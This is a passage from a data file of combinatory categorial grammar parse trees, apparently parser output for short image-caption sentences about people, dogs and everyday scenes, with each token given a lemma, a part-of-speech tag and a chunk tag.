t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'restaurant', 'restaurant', 'NN', 'I-NP', 'O')))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'without', 'without', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'lights', 'light', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(12,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'Asian', 'asian', 'JJ', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'restaurant', 'restaurant', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(13,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'motorcycle', 'motorcycle', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'seat', 'seat', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(14,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'motorcycle', 'motorcycle', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:ng\np), 'riding', 'ride', 'VBG', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'seat', 'seat', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'vehicle', 'vehicle', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(15,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(16,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'plant', 'plant', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(17,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'white', 'white', 'JJ', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(18,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'clothes', 'clothes', 'NNS', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(19,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dancing', 'dancing', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(20,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'white', 'white', 'JJ', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(21,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'equipment', 'equipment', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blond', 'blond', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'dancing', 'dancing', 'NN', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'sound', 'sound', 'JJ', 'I-ADJP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(22,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'white', 'white', 'JJ', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(23,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'white', 'white', 'JJ', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(24,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blond', 'blond', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sound', 'sound', 'NN', 'I-NP', 'O'),
t(n, 'equipment', 'equipment', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(25,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'family', 'family', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t(s:ng\np, 'waiting', 'wait', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(26,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'Asian', 'asian', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'three', 'three', 'CD', 'I-NP', 'O'),
t(n, 'kids', 'kid', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'looking', 'look', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(27,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'hiker', 'hiker', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'top', 'top', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'mountain', 'mountain', 'NN', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'joyful', 'joyful', 'JJ', 'I-NP', 'O'),
t(n, 'dance', 'dance', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(28,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'hiker', 'hiker', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'top', 'top', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'mountain', 'mountain', 'NN', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(29,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'outside', 'outside', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(30,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'wading', 'wade', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'ocean', 'ocean', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(31,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bald', 'bald', 'JJ', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(32,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
lx(np, n,
fa(n,
ba(n/n,
t(n/n, 'blonde', 'blonde', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'flyaway', 'flyaway', 'JJ', 'I-NP', 'O'))),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(33,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'old', 'old', 'JJ', 'I-NP', 'O'),
lp(n,
t(comma, ',', ',', ',', 'I-NP', 'O'),
fa(n,
t(n/n, 'topless', 'topless', 'JJ', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'covered', 'cover', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'paint', 'paint', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(34,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
lp(n,
t(comma, ',', ',', ',', 'I-NP', 'O'),
fa(n,
t(n/n, 'topless', 'topless', 'JJ', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'covered', 'cover', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'paint', 'paint', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(35,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'children', 'child', 'NNS', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'uniforms', 'uniform', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'gate', 'gate', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
t(np:thr, 'there', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'one', 'one', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'kissing', 'kiss', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'mother', 'mother', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(36,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'crowd', 'crowd', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(37,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tall', 'tall', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(38,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'moving', 'move', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wild', 'wild', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(39,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'tan', 'tan', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'tall', 'tall', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'))),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(40,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'tan', 'tan', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(41,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
